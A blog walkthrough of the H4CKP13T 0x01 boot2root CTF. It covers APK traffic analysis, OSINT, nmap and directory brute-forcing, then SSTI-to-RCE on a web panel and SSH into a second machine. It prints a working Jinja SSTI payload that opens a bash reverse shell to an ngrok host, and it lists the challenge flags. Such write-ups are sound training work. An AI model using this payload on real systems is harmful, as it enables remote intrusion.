BOOT2ROOT CTF H4CKP13T 0X01

4 min read
BOOT2ROOT CTF H4CKP13T 0X01

We have an APK that requires reverse engineering. By analyzing it, we can gather clues related to machines M1 and M2. Let's break it down by downloading our APK.

First, we perform traffic analysis using Burp Suite or any other technique. In this case, I used PcapDroid from the Play Store to monitor the network traffic of our APK (h4ckp13t.apk). During the analysis, I discovered the following:

21095b40-48de-4338-b521-ffcb7fc5afc1.png

When you open this link, you will find:

fe080db0-56dd-4489-a009-6e6a43e9470c.png

Now, using the BSSID, it's a straightforward OSINT challenge to determine the location. Lets find on wigle.net

3e5868cf-2112-4df4-afb3-14859153e88a.png

On Doing Advance Search -> WiFi Search

4f19fc58-f93f-4c45-bb51-8b68dcafcfca.png

CTF ANSWERS

  1. PROVIDE WIFI NAME : CRMCWiFi

  2. PROVIDE COUNTRY OF HIDDEN SPOT : USA

OSINT CHALLENGE COMPLETED

Following the previous hint, there is something hidden in the reviews. We navigate to Google Maps, search for the same area, and filter the results using the newest option as per the hint.

d16f2d15-ebbf-4de0-b067-a40587abdd81.png

Bingo !! Now, it's time to decode $xx,xxx,xxx,xxx into an IP address xx.xxx.xxx.xxx. Based on the previous hint, we obtained the IP address 64.227.150.103.

debfd9bb-702e-4695-af31-037b5081729a.png

Now, open the About page and also inspect the page source of both websites as part of the reconnaissance process.

d7d02ecd-2f7a-4d09-a53c-48121da5e224.png

In the page source, we discovered another flag.

7736f70b-b0fc-4b98-8de8-f4b27d07f990.png

One More Flag

  1. Website Recon Master : H4CKP13T{YES_patch_error_302}

Now, following the Cyber Kill Chain methodology, we begin scanning with Nmap. The scan reveals several open ports, including 80, 21, 22, and 5000.

dbfef669-af24-4830-858a-3420c8f6d95f.png

Port 22 is not exploitable due to the latest version of SSH. Now, let's investigate port 21.

2c70601f-37ec-472c-ba95-87ad128f290a.png

Hmm, it behaves like a honeypot, so we’ll ignore this port and move on to port 5000.

af5b6d4f-8149-4868-8095-699f8de743f3.png

It displays a message: "Direct access not allowed." You might be surprised to learn that two web servers are running on ports at same time — this is due to Apache2 reverse proxy.

In the end, we have no choice but to focus on port 80. But when I navigate to about.flag.hint, it redirects me to the Rock You page. then i check /robots.txt

ba20bc1f-3d19-482d-945b-3b388479331f.png

Every clue keeps redirecting me to the RockYou file. Earlier, we found a file named rockyou.txt.enc, which was decrypted using Cyndia's product, The Files Lab, with a given password. I searched on Google, found the tool, and successfully decrypted the file.

6bd7510b-e524-4220-9d41-ec317b9a3aaf.png

Now , I got Rock You.txt Let's perform a directory brute-force attack using Dirb or any other tool with the given wordlist at 64.227.150.103

After some time, I discovered a login page named C2 Admin Panel at http://64.227.150.103/abygurl69

Let's explore and investigate it. d308e7ef-0baf-42b0-b040-eee7d1337749.png

After testing different parameters, I found that it is vulnerable to SSTI (Server-Side Template Injection). Let's attempt Remote Code Execution (RCE).

801c46a2-75ba-4f0a-a465-6bd4ab375162.png

Using this payload, let's gain control of Machine 1.

SSTI Payload
{% for x in ().__class__.__base__.__subclasses__() %}
    {% if "warning" in x.__name__ %}
        {{ x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/0.tcp.in.ngrok.io/10327 0>&1'").read() }}
    {% endif %}
{% endfor %}

a003e47d-aa09-4ecd-9e4a-caea68b3728b.png

Before that, let's set up our reverse shell listener using port forwarding with Ngrok.

65527007-c0a3-49de-8a56-c89beae6161b.png

After submitting the payload, we successfully obtain a reverse shell on Machine 1. We then use cat command to read the flag.

2e07afd0-f638-4399-ad3c-a5641ee9263e.png

  1. user-machine-1 flag : h4ckp13t{cyunas_cyberdefentech_a2e7vta}

BINGO! Let's move on to the final challenge.

Other files on this machine are rabbit holes. However, in readme.dat, there is a message instructing us to send an email to obtain information about another machine from an admin user. Let's crack the details and send an email using either a temporary or real email. After some time, I received an auto-response email.

There is also a file named part1.pem. Based on my knowledge, PEM files are used for logging into an SSH instance without a password.

Upon opening it, I noticed that some lines are missing. As per the user hint, the other half of the file is on Machine 2. Let's retrieve it and combine both parts.

2336ab7a-4d2c-4400-b74b-a64d91daed73.png

Now , On Another Files

c1b51dec-ca2f-4737-a9d9-579d502d263c.png

After this Email i get :

1f816312-48b9-4dd0-bfa0-64892f5910ef.png

Now that we have some information about Machine 2, let's run an Nmap scan. The scan reveals that ports 80, 22, and 8554 are open. Let's start by exploring port 80.

cf30bb89-ab17-4626-b263-a77d9b0a89a9.png

The webpage is vulnerable to buffer overflow. Let's proceed with reconnaissance by checking /robots.txt.

fd552176-f1ae-4999-a987-c99fcb52ec4d.png

It indicates that something is running on port 8554 (which, according to Nmap, is an RTSP port). Let's check what’s happening at rtsp://54.174.231.114:8554/live

35c517fe-1c8e-40e6-bae3-0c5ab4b95d7a.png

Amazing! I found the final part of the PEM file at https://h4ckp13t.piet.co.in/lovemelocalh0ste. Now, grant the correct permissions to the PEM file and connect via SSH using the following

Terminal
ssh -i "machine2.pem" ubuntu@ec2-54-174-231-114.compute-1.amazonaws.com

23bf72f4-1364-4c89-af10-c33c533f204e.png

  1. user-m2 flag : h4ckp13t{congartulation_h4ckp13t_machine252141}

END - CTF CREDIT : @localh0ste aka Vikram Pawar

Want to write a blog?

Unfold your thoughts and let your ideas take flight in the limitless realm of cyberspace. Whether you're a seasoned writer or just starting, our platform offers you the space to share your voice, connect with a creative community and explore new perspectives. Join us and make your mark!

Follow us on social media

Cyber Unfolded Light Logo
Copyright © 2025 CYUN. All rights reserved.